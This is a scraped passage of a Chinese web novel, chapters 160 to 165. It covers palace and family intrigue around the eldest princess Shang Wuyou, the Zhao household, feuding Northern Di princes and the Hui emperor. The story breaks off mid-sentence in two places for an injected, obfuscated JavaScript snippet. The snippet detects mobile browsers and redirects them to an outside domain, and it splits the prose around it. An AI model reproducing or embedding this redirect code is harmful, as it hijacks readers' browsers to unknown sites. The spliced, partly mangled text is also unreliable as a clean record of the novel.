她本是刚硬之人,饶是痛极也只是合眼卧在床上,连半丝声音都无,可紧促的眉头和额边的汗水无一不在宣示着她此刻的痛苦。 王嬷嬷跟随她多年,怎会不知她的性子? 太医的药要煎上三回,药一好她便亲自端到史太君床边,低声呼唤道:“老太君醒醒,该喝药了!” 史太君闭着眼睛不说话。 王嬷嬷一见便急了,忙不迭唤道:“老太君,您能听见奴婢说话吗……” 史太君动了动嘴,王嬷嬷忙凑近她耳边,才勉强听出“苦、不喝”几个字。 王嬷嬷叹了口气,“老太太您都多大了,怎么还耍小孩子脾气!刚刚张大夫和太医也都说了,您这就是急怒攻心,吃上两副药疏散疏散就不碍事了!” “王嬷嬷,让我来吧!” 听见熟悉的声音,王嬷嬷这才松了口气,心头却漫上一丝心酸—— 若是老国公还活着该有多好…… 她红着眼将药碗递到踱步至床边的赵元婴手中,低声嘱咐道:“二少爷您好好哄哄老太太,太医开的药岂有不吃的道理?老太太怕苦,老奴便去取些蜂蜜和果子来压一压……” 赵元婴一手端着药碗,轻声唤道:“祖母,邹太医花甲之年,为了您的病从宫中跑来咱们府上、亲自盯着下人熬药,您万不可辜负邹太医的一片心意啊!” 史太君闻言这才睁开眼。 赵元婴将史太君的颈垫高,用匙一点点给她喂药;史太君倒是顺从,待将一碗都喝干净了,才皱着眉叹了句:“这帮大夫怎么竟开这么苦的药?那位邹大人不是经常侍奉陛下吗,没想到他的药竟比旁人还要苦上两分……” 赵元婴又喂了她几勺蜜浆,这才道:“良药苦口,祖母喝了太医令亲自煎的药,病也会好的快上几分!” “沛之,祖母老了,是吧?!” 听见史太君的感叹,赵元婴心头一 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史太君恨恨道:“你父亲与北狄仓促一战,全因兵部掣肘,皇帝又一直下旨催战,他们父子二人这才落得个身首异处的下场!” “陛下无情,他既要除去武将威胁、又要留下个好名声,因此才将她那疯疯癫癫的女儿嫁入咱家!” 史太君一把拉住孙子的手,悲戚道:“祖母无能,竟让你娶了那么个疯妇为妻,都是祖母害了你……” 赵元婴见状忙安慰道:“长公主她之前是得过病,不过如今已全好了,祖母您实在不必过分忧心……” 史太君却听不见他的话,自顾自道:“她行事狠辣疯癫、无法无天,你瞧瞧过门之后她都做了些什么?” “司命祭礼,她几乎害得你和兄长双双殒命!” “子芳不过是入宫探病,她竟暗中唆使子芳与孙家和离,还叫人抓了孙家两位公子做威胁,此举岂非陷我赵家于不义?” “还有今日,她竟当街要挟北狄皇子砍掉自己侍卫的一只手!” “这样的女子,怎配做我赵家宗妇?!” 第一百六十章 祖母,您错了! 祖母其实什么都明白,只是为何她竟对无忧有这样深的误解?! 赵元婴深吸了口气,轻声道:“祖母,其实长公主她……” 史太君抬了抬手,“祖母并非不明事理之人,长公主确实命运多舛——她是懿慈皇后所出的嫡女,六岁时便被封为天命神女,一时风头无两!谁知八年前一场宫变,陈氏一族败落,长公主亦一蹶不振。听说她被困永巷多年,这才养成了如今这乖戾的性子……” 赵元婴点了点头,“长公主的确可怜。” “无情最是皇家人!” 史太君摇了摇头,低声道:“祖母知道,陛下的所作所为与长公主无关,可她毕竟是陛下的女儿!君叫臣死、臣不敢不死!你父亲和祖父都是大大的忠臣,从未对陛下有过半分不敬;赵家三十余年镇守边关,据北狄和蛮族于国门之外,国公府无愧于大辉!” 赵元婴拉住老太君的手,“祖母,我都知道!” “不,你不知道!” 史太君说到此处眼中闪过寒光,胸口亦不断起伏。 “赵家男儿不怕葬身沙场,可他们不该死于阴谋之下!” 史太君一手死死拉住孙子,喃喃道:“你父亲他,只怕、只怕是陛下……” 赵元婴眼中寒光一闪,忙轻拍了拍史太君的手,低声安慰道:“祖父与父亲的死因,孙儿与祖母心照不宣!” 史太君只觉浑身的力气被人在瞬间抽走,她眼角流着泪,怜惜的看向自己最宠爱的孙子,低声道:“所以祖母不愿让你娶她!若有朝一日真相大白,你如何面对长公主、又要如何面对一门老小?!” 赵元婴心下发寒,却见史太君流着泪闭上了眼,轻轻摇了摇头。 “他是君、咱们是臣,赵家不能出叛臣,可这样的孙媳我绝不接受!” “祖母百般寻她的不是,就是盼着她能知难而退!她的性子受不得委屈,祖母是想着将她彻底得罪了,说不定她会愿意放了你……” 史太君眼角的泪止不住的流,她测过头,不愿懦弱的一面被孙子看到,呜咽着道:“国公府便是门第再高也不敢休弃镇国公主,依陛下对长公主的宠爱,若是公主主动向陛下提出和离,陛下一定会答应!到时祖母再为你寻一个门当户对的女子,你父亲泉下有知,也能瞑目了!” “祖母,您错了!” 赵元婴叹了口气,柔声道:“长公主的性子孙儿了解,她乃决绝之人,谁人得罪了她、她必要百倍偿还;祖母若真将她逼到那一步,只怕她会一剑斩了孙儿!” 呜咽声一滞。 史太君满眼不敢置信看向孙子——她一直以为长公主的手段虽激进了些,好歹是有理智的。 难道她、她真的敢……?! “祖母想想,那日拦着长公主进太庙的陈太常是个什么下场?!” 史太君一愣,她听说那陈太常在被长公主打伤后又被陛下逐出朝堂,从此便失了音讯…… 思及此处,她心头忽然一寒。 见祖母终于明白了他的意思,赵元婴这才低声道:“祖母,非是孙儿保下了国公府,孙儿如今能在您床前尽孝,实是长公主之功啊……” 史太君心头大震。 “大辉如今国力渐弱,陛下是要借天命神女之力重塑皇权!若有人在此时寻长公主的不是,便是诚心与陛下作对!” “赵家若真被殿下厌弃,孙儿便只能在监牢中与自己的影子举案齐眉了!” 赵元婴看着脸色煞白的老太君,温声安慰道:“祖母不必担心,只要我与她夫妻一心,赵家便有擎天之柱护着。至于父亲和祖父的仇……” 他垂下眼,掩去目中冰冷的杀机,沉声道:“欠了债总是要还的。” 史太君闻言忙道:“沛之,你……” 赵元婴抬起眼,目中唯余一片孺慕之情。 “无忧她是我的妻子,无论后事如何,孙儿绝不会放弃她。” 他拉着老太君的手,柔声道:“她之前受了不少罪,脾气着实不怎么好,说话办事也不会转弯,往后还要劳烦祖母替我看着她!” 史太君看了孙子半晌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649118|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才无奈的叹了口气。 “好孩子,你的意思我明白了!” 赵元婴见老太君一脸疲惫,忙帮她取出颈枕,又替她掖了掖被子,这悄声道:“祖母您好好休息,明日孙儿再来看您!” 待出了松鹤居,春山便凑了上来,朝他低声道:“公子爷,大爷入宫谢恩,可小厮在门口等了许久也不见人出来。” 赵元婴边走边道:“既是觐见陛下,时间便由不得臣子们来定。” “父亲和祖父合棺一事也不在于一时,不必焦急。” 说罢随口道:“长公主可回来了?” 见春山摇了摇头,赵元婴脚步一顿:北狄人在府门前借机闹了一场,长公主亲自入宫去说项,怎地这么久了还未归府,难不成出了什么纰漏?! ----------------- 檀烨身子如炭火,断腕处火烧火燎的疼。 “王爷,檀大人该如何处置?” “可惜了!好歹是我北狄的第一勇士,将人带回去吧!大王子得了失心疯,害得人家断了只手,总不能再要人家赔上性命吧?!” 是谁…… 朦胧中耳边一片嘈杂,他听到了怒吼声、咒骂声,呼喊声…… 渐渐地,他的身子越来越冷,犹如置身冰窖—— 就在檀烨以为自己要离开人世之际,终于有人将苦涩的药汤喂进他的口中…… “他的命保得住?” “放心吧,不过是血留的多了些,他的身子壮得很,要不了多久便生龙活虎了!” 耳边一男一女的声音的十分熟悉,尤其那女子,清冷的语调中夹杂着倨傲,叫人听之难忘。 “他这断掌可还能接上?” “呵,接断掌不难,难的是让这只手行动自如!” “本王带檀烨谢过殿下——好在此番砍得是左手,身为侍卫若是断了拿刀的手,只怕要死无葬身之地了!” 是谁…… 究竟是谁? 断了的手掌,难道真能接上?! 第一百六十一章 王叔可有法子帮我? 似是听见了他的心语,却听男子道:“殿下真有把握接回他的断掌?” “他右手一离身,本宫便叫卫真将他的断掌收了起来,如今时间刚刚好,若是到了四方馆,他这手便接不回去了!” “小五,你动手吧!” 檀烨睁睁不开眼,亦不知此时是真是幻,但觉有什么东西在左手腕动了起来。偏不觉疼,他不由在心中叹了口气——梦、这一定是梦! 却听那二人旁若无人的聊了起来。 “殿下身边既有这般圣手,为何不替征西将军接上断臂?” “赵元吉断臂的时间太长了,接不回去!” “既是这样,本王倒有一一问——若是我先砍了一个人的脑袋,然后请这位小师父马上接回去,这人可还能活?” “呵,师弟的医术再厉害也不能逆天而为,若玄王殿下真的好奇,不如自己把脖子伸、亲自试试!” “殿下说笑了,本王可没这个胆量……” 不知过了多久,一个稚嫩的声音便道:“缝好了!可这些日子不许他去动左手,我开的药按时吃,十天后刀口慢慢愈合后再开始练习活动手指。我不敢说能让他这手恢复如初,但是关键时刻保命绝对不成问题!” “师姐,若是没有旁的事,小五便先回去了!” 摇摆的马车猛然一停,一道男声继续道:“四方馆到了,殿下可要进去喝杯茶?” “夏逸,你复起的机会只此一次,别忘了你答应本宫的事!” 一阵窸窣声划过耳畔,车内再次归于寂静。 夏逸挑开车帘,朝着商无忧消失的方向看了一眼,这才吩咐道:“来人,将檀大人好生抬下去休养!” ----------------- “你们是什么东西,竟敢将本王子关在此处,是想**吗?!” 夏云骁双手被绑的死紧,昏暗的房间内回荡着他暴跳如雷的怒吼—— “混账,本王子是北狄未来之主,你们如此冒犯本王子,待我来日出去定要将你们九族屠灭……” “王子殿下好大的脾气!” 玄王夏逸推门而入,待看清夏云骁的狼狈样子,整个人忽的一愣,忙朝外道:“叫你们好好安置大王子,谁让你们将人绑住的?还不快快松绑!” 下人们小心翼翼的替夏云骁松了绑,夏云骁活动了下手脚,这才阴恻恻朝夏逸道:“玄王叔莫不是想趁机陷害本王子?我告诉你,别做梦了!你若真敢对本王子出手,父皇和太后断断不会放过你的!” 夏逸摇头笑道:“云骁误会叔叔了!” “你惹谁不好,偏犯到大辉神厌鬼弃的长公主手中,那可是个彻头彻尾的疯妇,她发起疯来连辉帝都要畏惧三分,就凭你手下那几个高手怎能在她手中讨到便宜?” “再加上张子寿从旁策应,若不是叔叔我及时出现,你今日只怕难以全身而退。” 夏云骁不屑的勾了勾唇,“王叔当我是傻子?你既知那长公主如此难缠,为何不早来劝我?做什么非要看我对檀烨动完手才出来?难不成王叔与那辉人女子之间有什么不可告人的秘密?!” 夏云骁一双眼牢牢盯在夏逸脸上,沉声质问道:“不是说王叔因在司命祭典上派暗卫刺杀辉帝而被打入大辉天牢了吗,既如此您又怎么会出现国公府门口?” 夏逸不慌不忙道:“你说的不错,我本是在天牢之中,可北狄与南诏相继在大辉边境增兵,辉帝登时便慌了手脚。说到底刺杀之事他并无实据,如今我王师声威正盛,辉人迫于威慑,这才不得不放我出来!” 他抬眼看了看夏云骁,忽道:“怎么,北狄十万大军兵压冀州,不就是为了救本王出来吗?可你一见到叔叔竟十分惊讶,难不成你此次出使竟从来没想过救叔叔出牢笼?!” 夏云骁眼神一闪,这才讪讪道:“玄王叔说的哪里话?父皇颇为惦记王叔,因此才我出使大辉,父皇特意叮嘱,一定要将您安全带回北狄!” “我就说,陛下他绝不会丢弃我!” 夏逸活动了下脖子,夏云骁清晰的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649119|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到他脖子上青紫的勒痕,心下不由大惊:看来辉人当真想要叔叔的命! 既如此,他就放心了。 夏逸见他眼神不再狐疑,这才道:“国公府门前不过是权宜之计。用赵洵父子的人头做文章打压宁国公府,你做的很好,赵家一门妇孺几乎被你压得喘不过气,这事传出去辉帝还有什么脸面?是以本王不过是在一旁冷眼旁观。” “只可惜,你做的实在太过了!” “你可是北狄的大王子,陛下内定的储君人选,便是被那大辉长公主威逼、欺压,也断不能丢了气节!不过是刀斧加身,你竟怕成那个样子,甚至不惜出卖陛赐给你的侍卫统领!莫说是使团成员,连辉人都瞧你不起!” “本王若不已失心疯为由将你拿下,要如何向暗卫和使团官员交待?!” 夏云骁提及此事不由铁青着脸,将牙关咬得死紧。 他那时也不知怎么了,被那大辉女子一吓便失了方寸,竟做出那般为人不耻之事! 如今他早就追悔莫及,使团中不乏老臣,若他们归国后将今日之事传扬出去,他还怎么继承皇位?! 思及此处他忙道:“王叔可有法子帮我?” 夏逸叹了口气,“唉,难!” 这个玄王,竟和他拿起乔来! 可他此时有求于人,只得好声好气道:“我知王叔在京都活得艰难。若王叔此次帮了本王子,本王子定会投桃报李,有本王子罩着,想来太后看在本部王子栋额面子上也不会太为难王叔。” 这话说的毫无诚意! 夏逸不由在心中冷笑,面上却做无奈状,“在咱们自己的王都我倒是不怕,左右太后也不能一道旨意便将我赐死。我怕的是自己出不去这洛阳城!” 夏云骁闻言咬了咬牙,如今的他哪里还顾得上太后“让夏逸死在大辉”的命令,忙不迭道:“只要叔叔帮我挽回名声,我保证在和谈之后将王叔安全带回北狄!” 夏逸满意的点了点头,“有王子殿下这番话,本王就放心了!” 第一百六十二章 要脸还是要命 “王叔有什么好法子,还是赶紧吧!” 夏逸微微一笑,“说辞我早就给殿下想好了——大辉长公主可是天命神女,必会些奇奇怪怪的整人法术。起先我等还以为您是得了失心疯,岂料您一回到四方馆、带上了皇室大祭司亲手制作的守信狼骨,整个人立时恢复了正常。” “殿下行为失常乃是因为中了大辉公主的术法!” 夏云骁看了夏逸半晌,这才阴郁的道:“旁人会信吗?” “不过是一帮愚蒙无知的贱民,信不信有什么相干?重要的是陛下和太后要给朝臣一个说法,好保住你未来储君之位!” “说王子中了辉人的法术,总比说您真的得了失心疯来的强吧!” 夏逸心中不住冷笑:自己这侄子当真愚蠢,也不知皇帝和太后为何选中了这个色厉内荏的家伙内定为大辉储君?! 此人刚愎自用、心中又无半点谋算,北狄若真落在他的手里只怕早晚为辉人所灭! 夏云骁暗道:这倒是个法子! “那本王子何时才能出去?不准你们像关牲口一样将本王关在此处!” “叔叔这趟就是来放人的,可你还要在此处待上几天,待风头过了再搬到前头去……” 夏云骁闻言将脖子一梗,“凭什么?不就是个护卫,砍就砍了、他又没死,王叔将我关在这儿跟坐牢子有什么区别?” 说着忽的站起身,愤愤朝外走去,口中道:“本王子现在就出去,看你们能将我如何!” 还和他耍横! 夏逸眼中寒光芒闪过,低声威吓道:“殿下做了什么自己心里没数吗?檀烨是没死,可殿下亲手砍死砍伤多位使团官员和护卫,眼下使团内舆情汹汹、几成鼎沸之势!若不是本王拦着,此时副使已千里传书给陛下——参你个行事悖逆、有损国体了!” 参他又如何?!有太后护着、父皇也不能将他怎样! 见他脚步未停,夏逸冷飕飕道:“文官儿也就罢了,我北狄武者可都是有血性的!若是有人刻意挑衅侮辱,便是天潢贵胄他们也有胆子杀!你如今犯了众怒,外头的人又不是傻子,你以为凭本王一句‘失心疯’便能轻易糊弄住过去?” “王子殿下若真想出去本王不敢阻拦,一旦出去您的安危便与本王无关!” 夏云骁脚步猛地一顿。 他满心不甘的狠狠一脚踹向身旁一张矮凳,随后转过头,瞪着一脸默然的夏逸道:“四方馆那么多地方,玄王叔为什么单单将我困在此处?!这里连张像样的床都没有,你叫本王子怎么呆?若是让人知道本王子在这么个破地方住过,本王子的脸要往哪里摆?” 夏逸不由暗自冷笑:什么时候了,他竟还只顾享乐! “四方馆中就那么几间上房,若侍卫们真的哗变,凭本王手下那几个人断断挡不住。” “要脸还是要命,王子殿下自己选吧!” 夏云骁僵着脸死死瞪着玄王。 他自然是怕死的,半晌后这才不声不响的将头歪向一边。 “好了,你安心在此处待上几天,待风声过了,你便还是我北狄英勇无畏的大王子!” 夏逸说完转身出了房间,身后传来一阵桌椅倒地之声,他撇了撇嘴,头也不回的出了院子。 一位侍从打扮的人迎了上来,悄无声息的跟在他身边,低声道:“其实给大王子换个干净又隐秘的地方不难,何必因为这些小事惹他不快……” “本王就是要让他受些罪,他才会静下心来想想,自己究竟犯了多么愚蠢的错误!” 侍从见他兴致不高,便又道:“主子猜的不错,暗卫们义愤填膺,都说要给大王子个教训呢……暗卫们尽心尽力护卫主子,最后却被主人如砍猪屠狗般砍杀,也难怪他们动了杀心。眼下使团中人对大王子深恶痛绝,咱们只需松松手、给他们以可乘之机,剩下的就不用咱们操心了……” 夏逸摇了摇头,“不可!夏云骁若此时死了本王第一个便脱不了干系,陛下眼下是不会说什么,可日后必会寻个由头料理了本王,损人不利己之事本王不会做!” 侍从忙道:“可若失了这次机会,再想对付大王子可就难了!他是陛下钦定的储君人选,陛下和太后本就容不得王爷,可他们好歹顾忌着先皇的面子,不敢明里对王爷下手。可大王子连自己的护卫都敢杀,若真让他上了位,王爷的性命便悬了!” “王爷心里明镜儿似的,此番太后是想借辉人之手除去您,您如今能平安出了天牢乃是苍天有眼!皇帝和太后这般无情,王爷断断不可一忍再忍!” 夏逸深吸了口气,“急什么?只要使团一日不回京,咱们便还有机会。本王早就是太后的眼中钉,此番若能除去夏云骁这个混小子,也算是替母亲报了一箭之仇!” “人是一定要杀的,关键是如何将自己撇干净。” 夏逸以拇指抚了抚颌下胡须,盘算道:“夏云骁一死,便是没有明面上的证据,那老虔婆也绝对不会放过本王!” “除非有足够的筹码……” 玄王思考之时,侍从从不敢打扰。 走了许久,夏逸这才道:“眼下唯有先拿下与大辉结盟这一旷世奇功,才能让太后投鼠忌器……夜枭,叫人好好照顾檀烨,此人将来有大用!” “王爷放心,属下明白……” “二哥、二哥!” 不远处传来五皇子夏如风的呼唤,他一边跑一边高声抱怨道:“我日日为二哥担心,如今二哥出来了怎么不想着告诉我一声?!” 待他走近,夏逸身旁已空无一人,他面上露出几分真诚的笑意,轻声道:“这不是来不及嘛!本王从辉人的暗牢一出来便撞见大王子在洛阳闹事,好容易解决了麻烦、使团一众人等又闹将起来……你瞧瞧,本王可是连衣服都没来得及换呢!” 夏如风一眼就看见玄王脖子上青紫色的勒痕,他将眼一瞪,厉声道:“辉人竟敢暗下毒手!我这就给陛下传书,叫军压边境的北狄十万二郎动手!” 第一百六十三章 该给校事府换一位统领了 “如风你莫要冲动,如今我已没什么事了……” 夏逸看了看暴跳如雷的弟弟,笑道:“虽然刺杀大辉皇帝的刺客不是咱们派的,可咱们毕竟坏了长公主的祭礼;辉人本就恨北狄,如今二哥被他们抓了个现行,人家自然是要给我点苦头尝尝!” 看着二哥脖子上狰狞的泪痕,夏如风心头漫上一丝悲愤,这便愤愤道:“都怪我无能——二哥被抓进天牢后我便四处求人。银子是使了不少,可就是没能将你救出来。许是买通守卫的事被辉人发现了,他们竟暗中将二哥移到了别的地方,我再怎么打探都打探不出来。” “若知道二哥要受这样的苦,还不如不来这大辉!” 夏逸笑着拍了拍他的肩,“别说傻话了,出使大辉乃是陛下之命,我们这等做臣子的如何拒绝得了……再说我这不是好好的站在你面前了吗?” 夏如风默了默,这才道:“二哥,你遭难之后我曾去求过长公主,她可帮上忙了?” 想起那女子的决绝与狠辣,夏逸不由苦笑一声,“若不是她,我已没命见你了。” 夏如风这才长出口气。 “其实我内心十分不安,二哥出事后我便往北狄去了密信,可事到如今仍未接到任何回应,我还以为……没想到是我误会陛下了,原来陛下早有打算,有边境十万大军相助,辉人怎么敢为难二哥呢?” 夏逸心中满是鄙夷,面上却做感慨状,“是啊,陛下当真高明……” 夏如风心结一解,人便又欢实起来。 “国公府门前之事我已知晓,大王子真是时运不济,好端端为何偏要去惹那神厌鬼弃之徒?咱们这两位北狄王爷加起来都不是她的对手,大王子是哪儿来的自信,竟认为自己能在长公主手中讨到便宜?” “听说大王子还将赵家二姑娘绑了,说要让人家给他做妾?” 夏如风平日里亦不看好这位阴狠暴戾的侄子,如今听说他也被大辉长公主收拾了,不禁升起幸灾乐祸之意! “别看那赵二小姐娇娇弱弱,却是个狠角色!她同长公主要好,大王子得罪了她,难怪那商无忧要对他出手了。” 说道此处他忽的有些生气,沉声道:“夏云骁恁的没出息,他与辉人争斗便罢了,竟还对自己人动手——不就是被人家的刀架在脖子上吗?脑袋掉了碗大个疤,怎么能叫手下人替他受过?这事若是传出去,我北狄皇室的脸要是不要?!” 夏如风是皇帝的亲弟弟,说话从来百无禁忌;夏逸却不置可否,只道:“大王子不是那样的人,不过是中了长公主法术罢了……” “法术?什么法术?” 夏如风皱了皱眉,“商无忧那丫头若真会法术,何必还要在我脸上画乌龟?” 夏逸叹了口气,“说大王子中了法术总比说他失心疯了强,总要给陛下和太后留几分脸面不是……” 夏如风闻言默默良久,这才无奈的拍了拍夏逸的肩,叹道:“二哥,给我们这些不争气的皇室子弟擦屁股,真是苦了你了!” ----------------- “陛下,谲儿回去了?” 带着面具的黑衣人一出现,施淳便垂下眼、带着一众宫人退出了宫殿。 “嗯,北狄大王子带着使团入了城后便直接去往宁国公府门前滋事——他竟用赵洵父子的人头逼着史太君给他磕头、还抢了赵家二小姐去做妾。哼,当真不知死活!” 黑衣人嘿嘿一笑,“让我猜一猜,谲儿可不管什么大王子不大王子的,她肯定是将人暴打一顿后再丢出门去……” 辉帝哼了一声,“史太君乃是皇室血脉,北狄人这般嚣张确实是该教训教训。可惜这回谲儿还未发狠,北狄大王子自己就先吓疯了! ” 黑衣人先是一怔,随后哈哈大笑,“竟这般有趣,得空我得好好听听宫里人的议论。” 辉帝眸色一深,忽道:“赵洵父子的死,朕总觉得不寻常。” “他二人坐拥十万兵马,便是中了埋伏也不该全军覆没。老国公最擅兵法,不会不给自己留后路。” 说着他瞥了黑衣人一眼,低声道:“刚刚赵元吉来见朕,朕试探了几番,总觉得雁荡山一役大有隐情。你掌管校事府,可曾探听到什么?” 黑衣人摇了摇头,“赵家父子治军极严,我的人在军中实在插不进手;至于雁荡山一役,不是还有生还之人可以询问吗?” “你说那安思政?” 辉帝嗤了一声,“此人算不得赵洵心腹,他只说老国公吩咐他在附近接应,其他竟一概不知!” 黑衣人默了默,这才道:“这也难怪,赵洵的心腹爱将皆于冀州身亡,北狄人着实太狠了……” “那刺杀夏逸之人查的怎么样了?他的暗卫是如何带进洛阳的,可问清楚了?” 辉帝拿起手边奏折,一目十行的随意翻看着,口中随意道:“朕倒要看看,是谁敢在朕的眼皮子底下动手!” 黑衣人忙道:“廷尉淳于赫的内弟乃是老国公身旁一位将领,此人亡于冀州、其父便对北狄人恨之入骨,得知此次北狄玄王被囚于天牢,他便买通了夏逸牢中的小吏,叫其于暗中下手;至于夏逸身边的暗卫,总共也就几十号人,他们装扮成北狄商队、通过贿赂城门吏偷偷潜入洛阳。” 查来查去都是些没相干的人,校事府什么时候变的这般没用了?! 辉帝重重合上奏折,沉声道:“此事虽说是京都府和廷尉管理不善,但校事府亦难逃失察之责!” 黑衣人闻言忙鞠了个躬,“虽说现在校事府由臣管辖,可高相到底代管过校事府一段时间,微臣接手不过两三年,高家的势力尚未完全清除。” 辉帝点了点头,“高子霖是只老狐狸,想斗倒他不容易。不过校事府是朕的眼睛,朕绝不容许他人染指!” “臣知道!” “退下吧!” 待黑衣人离去,施淳方才端着茶走了进来,温声道:“陛下说了许久,喝口茶润润吧!” 辉帝沉吟半晌方才端起茶杯轻抿了一口,喃喃道:“是时候该给校事府换一位统领了……” 施淳眉心一跳,却见辉帝抬眼看向他,眼中探究之色叫人不敢直视。 “你觉得,赵元吉怎么样?” 第一百六十四章 你们是南诏的使团? 施淳不答辉帝的话,只笑着道:“那一位校事府首领做的好好的,陛下怎么就想到换人了呢?” 辉帝叹了口气,“校事府既是朕的耳目,自然也会知晓朕的很多秘密,时间长了便有人生了异心,所以这首领便总是做不长久。” “你就没发现最近校事府总是欲振乏力?雁荡山是军政,发生的又太过突然,校事们一时查不清楚还情有可原;可夏逸被暗杀就发生在京都,校事府监察百官,一个与廷尉府沾亲的低阶武将,竟能在校事府眼皮子底下悄无声息的对一国特使出手,还没被人发觉,这可能吗?!” 施淳一愣,“陛下是说那一位失察了?” 辉帝瞥了他一眼,“你个老滑头,管会在朕面前扮蠢——朕是怕他对朕生了二心!” 施淳忙道:“不会吧,那一位可是有谋定江山之功、又对陛下您忠心耿耿,怎么会……” 辉帝哼了一声,“都说对朕忠心耿耿!可朕又不能把他们的心挖出来看,怎么知道谁是包藏祸心之辈?” “那一位可不是好相与的,老奴是怕陛下贸然取了他校事统领之权,会叫他心生不满。” “不满又如何?只要朕寻一个手段高明之辈,不怕压不住他!如今谲儿已慢慢痊愈,朕也没必要将宝都压在一人身上。” 辉帝说着用眼神示意施淳再添新茶,口中喃喃道:“说起来谲儿的天眼还在之时,效用可比他强上许多……” 施淳微微一笑,“长公主乃是天命神女,自是与凡夫俗子不同!” 辉帝点了点头,“朕想叫赵元吉统领校事府并非一时兴起——今日他入宫谢恩,朕便当面问了他与长公主之事,你知道他是怎么回朕的?” ——“长公主天资聪颖、风华绝代,少时便是京中才俊倾慕的对象。臣有幸与殿下拜于太初真人门下,能与长公主结下同门之谊、深感荣幸;微臣多年前确实曾倾慕过长公主,但微臣深知自己不配,不敢存非分之想,便在父亲的安排下娶妻生子。” “臣弟何其有幸、能娶得长公主为妻,臣全家皆感念天恩!臣不会背叛妻子和陛下,愿以身家性命守护长公主殿下!” 施淳微微一愣,“他竟承认了?!” 辉帝不觉莞尔,“赵元吉倒是坦荡,不愧是武人性子!此人端的是聪慧异常,他定是知道朕在国公府内布置了耳目,若是刻意隐瞒反倒惹得朕不快,还不如大大方方承认对谲儿的情谊!” “没听他说吗——他与公主是自幼的情谊,谲儿那时惊艳四方,京中才俊皆对朕的长公主趋之若鹜,何况他一个小小的赵元吉?!” 施淳闻言便附和道:“有道是窈窕淑女、君子好逑。征西将军言明自己已有家室,又说不会背叛妻子和陛下,这就是承诺绝不会做出有违礼法之事了。” “是啊,他对谲儿痴心依旧,愿用性命守护朕的女儿。他如此坦诚,倒叫朕十分意外和欣慰!” 施淳小心翼翼道:“所以陛下便想将校事府交给他打理?” 辉帝默了默,这才道:“他还没有这个资格——赵家在军中威望极高,如今赵元婴已成了爵,兄弟二人又都在朝中任职,若赵家再添权柄,只怕会尾大不掉!” 辉帝边说边用手指摩挲着手中杯沿,低声盘算道:“掌管校事府之人需了无牵挂,不能与各方权利有任何纠葛,唯有如此才能一心一意效忠于朕……” 听到帝王在自己面前谈论起自己心中的谋划,施淳心头一紧,他默不作声的将头压低、双目低垂,悄无声息的立在辉帝身后,恍若一个毫无存在感的透明人。 皇帝思索半晌,这才端起面前已经凉透的茶水一饮而尽—— “如此有野心之辈,朕倒是有心栽培一番,端看他自己豁不豁得出去了!” ----------------- “你们是南诏的使团?!” 城门吏愣了半晌,这才道:“怎么就这几辆车?随行的护卫什么时候入城?” “这十人都带着刀,是我家内算官的护卫,除此之外我南诏使团再未带一兵一卒入京都!” 这倒怪了! 往常南诏国来朝贺,仪仗护卫便有百十号人,怎么如今人竟少了许多?! 不是说他们与北狄联手,出兵犯我边界吗? 怎地这使者竟比往常还谦卑?! 见南诏人如此懂规矩,城门吏倒不好意思直接给人家下马威了。 他清了清嗓子,这才道:“大鸿胪有命,北狄与南诏使团同时入京,特将四方馆安排给北狄使团居住,南诏使团可往西城驿馆而去!” 副使闻言满眼的不敢置信—— 辉人实在过分! 便是附属国来朝,也断没有将人赶到驿馆去住的道理! 这不是诚心侮辱他家王爷吗?! 副使刚要开口,却听身后车内传来一道低沉的男声—— “南诏入大辉参拜皇帝陛下,全凭大鸿胪安排!” 听了内算官的话,副使只得将满心不悦压了下去,恭敬的朝城门里拱了拱手,“还请大人派人引个路,我们这就往西城驿馆去!” 五辆马车默默朝西城驶去。 一个小卒见状不由凑上前来,低声道:“大人,那帮泼皮都准备好了,小人又在城中寻了些老翁与稚子,就等着用臭鸡蛋、烂番薯迎接这帮南诏人了;不是说要让他们好好现现眼吗,您怎么如此轻易的就放他们入城了?” 城门吏叹了口气,“咱们是官身,不可直接与使团对上,大人这才想出借百姓的手、斥南诏人猖狂这一招来灭他们的威风。可此次南诏入京,总共才来了五辆车、十来个侍卫,还没有闹事的百姓多,又对被赶去住驿馆毫无意义,你要本官如何给人家扣上‘狂妄’的帽子?!” “罢了,南诏不过边陲小国,怎么敢起反心?说不定是校事府的消息有误——人家本就是来朝贺的,不过是凑巧撞上和北狄人前后脚入京而已!” 小卒忙道:“可朝中大员都说南诏在边境增兵了……” 城门吏闻言不屑的撇了撇嘴,“瞧那寒酸的马车……本官倒不信,南诏区区五万人,怎么能打得过边境来!” 第一百六十五章 我要称帝! “大人,咱们也太窝囊了吧?!” 一过洛阳城门,副使便朝内算官异目赞抱怨道:“同样出使大辉,北狄人凭什么占着四方馆不许咱们去住?四方馆乃大辉接待各国使节之所,建筑高大、宏伟;北狄使团能来多少人,我就不信他们能将所有房间都占满!” “南诏虽是属国,可大辉也该一视同仁才对,凭什么让咱们受委屈……” 不待他说完,异目赞便淡淡打断道:“你还知道南诏是属国?北狄兵强马壮,南诏如何比不上?咱们与他们前后脚入京,也难怪辉人厚此薄彼!” 副使忍了又忍,又道:“虽说国力有强弱之分,可咱们好歹也是他国来使,辉人竟将咱们赶到驿站去住……” 